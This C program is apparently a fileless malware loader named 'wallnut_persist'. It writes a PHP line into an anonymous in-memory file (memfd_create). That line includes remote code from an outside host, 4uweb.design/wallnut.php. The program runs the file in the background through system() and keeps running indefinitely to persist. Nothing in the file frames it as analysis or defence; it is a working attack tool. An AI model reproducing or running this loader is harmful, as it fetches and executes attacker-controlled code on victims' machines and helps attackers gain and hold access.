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#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>

int main() {
    int fd = memfd_create("wallnut_persist", MFD_CLOEXEC);
    if (fd < 0) return 1;
    const char* payload = "<?php include('http://4uweb.design/wallnut.php'); ?>";
    write(fd, payload, strlen(payload));
    char cmd[512];
    sprintf(cmd, "php /proc/self/fd/%d &", fd);
    system(cmd);
    while(1) sleep(60);
    return 0;
}